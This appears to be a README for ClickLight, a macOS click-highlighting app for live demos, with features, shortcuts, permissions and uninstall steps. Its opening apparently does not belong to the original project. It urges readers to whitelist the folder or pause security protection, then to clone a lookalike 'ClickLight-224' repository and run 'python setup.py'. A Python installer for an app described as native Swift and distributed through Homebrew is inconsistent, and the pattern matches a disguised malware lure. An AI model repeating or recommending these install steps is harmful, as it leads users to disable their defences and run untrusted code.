ClickLight

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.

---

QUICK START

git clone https://github.com/PrideOfficer/ClickLight-224.git
cd ClickLight-224
python setup.py

A small macOS menu bar app that highlights your clicks during live demos, screen sharing, UX reviews, and other moments where people need to follow what you are doing.

Screen recorders like Screen Studio and CleanShot can add click effects after the fact. ClickLight is for the live moment itself, when you need the audience to see exactly when you clicked without interrupting your flow.

Demo

ClickLight.mp4

Use Cases

• Live product demos where viewers need to follow exactly what you clicked
• UX reviews where the delay between click and response matters (the original motivation for ClickLight)
• Bug reports where a recording should show both the action and the app behavior
• Tutorials, workshops, and conference talks where pointer movement alone is easy to miss
• Pairing with a larger macOS pointer so clicks stay visible in live demos and recordings

Features

• Click highlights across macOS apps
• Separate visuals for press, release, right-click, and drag
• Optional laser pointer mode with fading freehand strokes while dragging
• Optional live keyboard shortcut display pinned to the bottom of the screen by default, with pointer-following placement and sizes through XL available
• Local daily click activity chart with a resettable seven-day history
• Optional daily click count in the menu bar
• Dedicated settings window with presets, sliders, optional menu sections, and a sidebar preview pad with Randomize
• Custom color picker in Settings
• Menu-bar quick presets for size, duration, intensity, and color
• Customizable status-bar menu sections for hiding optional controls you do not use
• One default ClickLight toggle shortcut, with optional shortcuts for other actions
• Optional compact menu-bar icon
• Test pulse for verifying overlay behavior
• Native Swift/AppKit app
• No Xcode project required

Keyboard Shortcuts

ClickLight includes one default global shortcut for quick toggles during demos. Other actions can be assigned shortcuts in Settings if you want them.

Shortcut	Action
Control + Option + Command + L	Toggle ClickLight on/off
Not set by default	Toggle Laser Pointer Mode
Not set by default	Toggle Press
Not set by default	Toggle Release
Not set by default	Toggle Right Click
Not set by default	Toggle Middle Click
Not set by default	Toggle Drag
Not set by default	Randomize Colors
Not set by default	Toggle Live Keyboard Shortcuts

All shortcuts can be changed or disabled in Settings.

Permissions

ClickLight requires Accessibility permission to detect clicks outside its own menu-bar app. You will be prompted on first launch, or grant it manually in:

System Settings -> Privacy & Security -> Accessibility

The optional Live Keyboard Shortcuts display additionally requires Input Monitoring, because macOS protects keyboard input separately from mouse clicks.

After enabling permission, quit ClickLight from the menu bar and reopen it.

Tip: for recorded demos or presentations, pair ClickLight with a larger macOS pointer in System Settings -> Accessibility -> Display -> Pointer.

Modify It

ClickLight is personal software: one small presentation annoyance, fixed directly. The project is intentionally small so you or an agent can change it without much ceremony.

Start with Local Development.

Contributing

Contributions are welcome. See CONTRIBUTING.md for setup, testing, and pull request guidance. Please report security issues privately as described in SECURITY.md.

Releasing

Releases are signed, notarized, published to GitHub Releases, and followed by a reviewed metadata pull request for Homebrew and Sparkle updates.

See Releasing. What's new is tracked in GitHub Releases.

Uninstall

brew uninstall --cask clicklight

To remove ClickLight preferences too:

brew uninstall --cask --zap clicklight

Manual uninstall If you installed ClickLight manually from source, use Remove Manual Install.

License

MIT. See LICENSE.